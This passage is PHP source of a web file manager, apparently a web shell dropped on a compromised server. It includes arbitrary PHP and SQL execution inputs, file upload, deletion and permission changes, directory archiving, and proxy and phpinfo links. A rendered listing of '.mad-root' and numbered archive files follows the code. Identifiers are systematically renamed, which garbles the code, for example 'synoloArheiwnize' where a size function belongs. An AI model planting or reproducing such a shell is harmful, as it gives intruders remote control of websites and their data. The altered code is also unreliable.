$msg_res .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg_res .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_res .= __('Error occurred');
} else {
fclose($fp);
$msg_res .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_res .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_incs.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg_res .= __('Error occurred').': '.__('no synoloArheiwn');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_res .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_incs.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_res .= __('Error occurred').': '.__('no synoloArheiwn');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_res .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_res .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_incs.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_res .= __('Error occurred').': '.__('no synoloArheiwn');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_res)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg_res?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_incs?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_incs?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_incs?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_incs?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth_result['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth_result['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$synoloArheiwn = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$synoloArheiwn[] = $file;
}
}
natsort($dirs); natsort($synoloArheiwn);
$elements = array_merge($dirs, $synoloArheiwn);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_incs.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_incs . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_incs . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_incs . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_incs . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_incs . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_versions.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $onomaArheioy = '';
var $prosorinoArheio = 0;
var $thesiArheioy = 0;
var $einaiGzippedArheio = true;
var $listaLathon = array();
var $synoloArheiwn = array();
function __construct(){
if (!isset($this->listaLathon)) $this->listaLathon = array();
}
function dhmiourgeiArheio($file_list){
$result_server = false;
if (file_exists($this->onomaArheioy) && is_file($this->onomaArheioy)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->anoiximoGrafis()) return false;
} else {
if (synoloArheiwnize($this->onomaArheioy) == 0) return $this->anoiximoGrafis();
if ($this->einaiGzippedArheio) {
$this->kleiseProsorinoArheio();
if (!rename($this->onomaArheioy, $this->onomaArheioy.'.tmp')){
$this->listaLathon[] = __('Cannot rename').' '.$this->onomaArheioy.__(' to ').$this->onomaArheioy.'.tmp';
return false;
}
$tmpArchive = gzopen($this->onomaArheioy.'.tmp', 'rb');
if (!$tmpArchive){
$this->listaLathon[] = $this->onomaArheioy.'.tmp '.__('is not readable');
rename($this->onomaArheioy.'.tmp', $this->onomaArheioy);
return false;
}
if (!$this->anoiximoGrafis()){
rename($this->onomaArheioy.'.tmp', $this->onomaArheioy);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->grafoBlockDedomenwn($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->onomaArheioy.'.tmp');
} else {
$this->prosorinoArheio = fopen($this->onomaArheioy, 'r+b');
if (!$this->prosorinoArheio) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result_server = $this->systhmiastoPinakasArheiwn($file_list);
} else $this->listaLathon[] = __('No file').__(' to ').__('Archive');
if (($result_server)&&(is_resource($this->prosorinoArheio))){
$binaryData = pack('a512', '');
$this->grafoBlockDedomenwn($binaryData);
}
$this->kleiseProsorinoArheio();
if ($newArchive && !$result_server){
$this->kleiseProsorinoArheio();
unlink($this->onomaArheioy);
}
return $result_server;
}
function apokatastasiArheioy($path){
$fileName = $this->onomaArheioy;
if (!$this->einaiGzippedArheio){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->einaiGzippedArheio = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->einaiGzippedArheio = true;
}
$result_server = true;
if ($this->einaiGzippedArheio) $this->prosorinoArheio = gzopen($fileName, 'rb');
else $this->prosorinoArheio = fopen($fileName, 'rb');
if (!$this->prosorinoArheio){
$this->listaLathon[] = $fileName.' '.__('is not readable');
return false;
}
$result_server = $this->unsysthmiastoPinakasArheiwn($path);
$this->kleiseProsorinoArheio();
return $result_server;
}
function emfanisiLathon ($message = '') {
$Errors = $this->listaLathon;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function systhmiastoPinakasArheiwn($file_array){
$result_server = true;
if (!$this->prosorinoArheio){
$this->listaLathon[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->onomaArheioy)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->listaLathon[] = __('No file').' '.$filename;
continue;
}
if (!$this->prosorinoArheio){
$this->listaLathon[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->listaLathon[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->dhmiourgiaKalouDromou($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->listaLathon[] = __('Mode ').__('is incorrect');
}
if(($this->thesiArheioy == 0)){
if(!$this->grafoKefalaio($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->grafoBlockDedomenwn($binaryData);
}
fclose($file);
} else $this->grafoKefalaio($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle_server = opendir($filename))){
$this->listaLathon[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle_server))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result_server = $this->systhmiastoPinakasArheiwn($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle_server);
}
}
return $result_server;
}
function unsysthmiastoPinakasArheiwn($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->diavaseBlockDedomenwn()) != 0){
if (!$this->diavaseKefalaio($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->diavaseBlockDedomenwn();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->diavaseBlockDedomenwn();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->diavaseBlockDedomenwn();
if (!$this->diavaseKefalaio($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->listaLathon[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->listaLathon[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->listaLathon[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->listaLathon[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->listaLathon[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->listaLathon[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->diavaseBlockDedomenwn();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->diavaseBlockDedomenwn();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (synoloArheiwnize($header['filename']) != $header['size']) {
$this->listaLathon[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->synoloArheiwn[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->listaLathon[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function diavaseKefalaio($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$axiaChecksum = 0;
for ($i = 0; $i < 148; $i++) $axiaChecksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $axiaChecksum += ord(' ');
for ($i = 156; $i < 512; $i++) $axiaChecksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8idXristi/a8group_id/a12size/a12time/a8axiaChecksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['axiaChecksum'] = OctDec(trim($unpack_data['axiaChecksum']));
if ($header['axiaChecksum'] != $axiaChecksum){
$header['filename'] = '';
if (($axiaChecksum == 256) && ($header['axiaChecksum'] == 0)) return true;
$this->listaLathon[] = __('Error axiaChecksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['idXristi'] = OctDec(trim($unpack_data['idXristi']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function grafoKefalaio($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->dhmiourgiaKalouDromou($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the axiaChecksum
$axiaChecksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$axiaChecksum += ord(substr($dataFirst, $i, 1));
// Ignore the axiaChecksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$axiaChecksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$axiaChecksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->grafoBlockDedomenwn($dataFirst, 148);
// Write the calculated axiaChecksum
$axiaChecksum = sprintf('%6s ', DecOct($axiaChecksum));
$binaryData = pack('a8', $axiaChecksum);
$this->grafoBlockDedomenwn($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->grafoBlockDedomenwn($dataLast, 356);
$prosorinoArheioname = $this->dhmiourgiaKalouDromou($filename_ready);
$i = 0;
while (($buffer = substr($prosorinoArheioname, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->grafoBlockDedomenwn($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(synoloArheiwnize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$axiaChecksum = 0;
for ($i = 0; $i < 148; $i++) $axiaChecksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $axiaChecksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $axiaChecksum += ord(substr($dataLast, $j, 1));
$this->grafoBlockDedomenwn($dataFirst, 148);
$axiaChecksum = sprintf('%6s ', DecOct($axiaChecksum));
$binaryData = pack('a8', $axiaChecksum);
$this->grafoBlockDedomenwn($binaryData, 8);
$this->grafoBlockDedomenwn($dataLast, 356);
return true;
}
function anoiximoGrafis(){
if ($this->einaiGzippedArheio)
$this->prosorinoArheio = gzopen($this->onomaArheioy, 'wb9f');
else
$this->prosorinoArheio = fopen($this->onomaArheioy, 'wb');
if (!($this->prosorinoArheio)){
$this->listaLathon[] = __('Cannot write to file').' '.$this->onomaArheioy;
return false;
}
return true;
}
function diavaseBlockDedomenwn(){
if (is_resource($this->prosorinoArheio)){
if ($this->einaiGzippedArheio)
$block = gzread($this->prosorinoArheio, 512);
else
$block = fread($this->prosorinoArheio, 512);
} else $block = '';
return $block;
}
function grafoBlockDedomenwn($data, $length = 0){
if (is_resource($this->prosorinoArheio)){
if ($length === 0){
if ($this->einaiGzippedArheio)
gzputs($this->prosorinoArheio, $data);
else
fputs($this->prosorinoArheio, $data);
} else {
if ($this->einaiGzippedArheio)
gzputs($this->prosorinoArheio, $data, $length);
else
fputs($this->prosorinoArheio, $data, $length);
}
}
}
function kleiseProsorinoArheio(){
if (is_resource($this->prosorinoArheio)){
if ($this->einaiGzippedArheio)
gzclose($this->prosorinoArheio);
else
fclose($this->prosorinoArheio);
$this->prosorinoArheio = 0;
}
}
function dhmiourgiaKalouDromou($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result_server = $partPath[$i].($i!=$els ? '/'.$result_server : '');
}
} else $result_server = '';
return $result_server;
}
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .mad-root.mad-root.tar.gz | File | 117 B | 0644 |
|
| .mad-root.tar | File | 1.5 KB | 0644 |
|
| 100.zip | File | 276.54 KB | 0644 |
|
| 106.tar | File | 639.5 KB | 0644 |
|
| 106.tar.gz | File | 633.91 KB | 0644 |
|
| 113.tar | File | 379.5 KB | 0644 |
|
| 113.tar.gz | File | 358.84 KB | 0644 |
|
| 118.tar | File | 318.5 KB | 0644 |
|
| 118.tar.gz | File | 309.97 KB | 0644 |
|
| 131.tar | File | 34 KB | 0644 |
|
| 131.tar.gz | File | 20.44 KB | 0644 |
|
| 139.tar | File | 22.5 KB | 0644 |
|
| 139.tar.gz | File | 785 B | 0644 |
|
| 14.tar | File | 687 KB | 0644 |
|
| 14.tar.gz | File | 677.2 KB | 0644 |
|
| 141.zip | File | 59.49 KB | 0644 |
|
| 147.tar | File | 124 KB | 0644 |
|
| 147.tar.gz | File | 56.14 KB | 0644 |
|
| 158.zip | File | 110.15 KB | 0644 |
|
| 162.tar | File | 80.5 KB | 0644 |
|
| 162.tar.gz | File | 74.92 KB | 0644 |
|
| 164.zip | File | 576.98 KB | 0644 |
|
| 173.tar | File | 265.5 KB | 0644 |
|
| 173.tar.gz | File | 238.97 KB | 0644 |
|
| 174.zip | File | 116.61 KB | 0644 |
|
| 175.zip | File | 1.25 MB | 0644 |
|
| 178.tar | File | 2.67 MB | 0644 |
|
| 178.tar.gz | File | 2.65 MB | 0644 |
|
| 179.zip | File | 257.05 KB | 0644 |
|
| 182.tar | File | 34 KB | 0644 |
|
| 182.tar.gz | File | 20.44 KB | 0644 |
|
| 184.tar | File | 35 KB | 0644 |
|
| 184.tar.gz | File | 20.81 KB | 0644 |
|
| 200.zip | File | 218.21 KB | 0644 |
|
| 207.tar | File | 1.24 MB | 0644 |
|
| 207.tar.gz | File | 1.22 MB | 0644 |
|
| 21.tar | File | 2 KB | 0644 |
|
| 21.tar.gz | File | 193 B | 0644 |
|
| 230.tar | File | 453 KB | 0644 |
|
| 230.tar.gz | File | 446.33 KB | 0644 |
|
| 238.zip | File | 84.24 KB | 0644 |
|
| 241.tar | File | 218 KB | 0644 |
|
| 241.tar.gz | File | 211.42 KB | 0644 |
|
| 248.zip | File | 238.23 KB | 0644 |
|
| 258.tar | File | 237 KB | 0644 |
|
| 258.tar.gz | File | 181.87 KB | 0644 |
|
| 258.zip | File | 235.62 KB | 0644 |
|
| 266.zip | File | 88.33 KB | 0644 |
|
| 268.zip | File | 504.54 KB | 0644 |
|
| 306.tar | File | 126 KB | 0644 |
|
| 306.tar.gz | File | 119.46 KB | 0644 |
|
| 31.tar | File | 163 KB | 0644 |
|
| 31.tar.gz | File | 156.47 KB | 0644 |
|
| 33.tar | File | 21 KB | 0644 |
|
| 33.tar.gz | File | 9.77 KB | 0644 |
|
| 332.tar | File | 85.5 KB | 0644 |
|
| 332.tar.gz | File | 42.15 KB | 0644 |
|
| 334.zip | File | 99.68 KB | 0644 |
|
| 341.tar | File | 107.5 KB | 0644 |
|
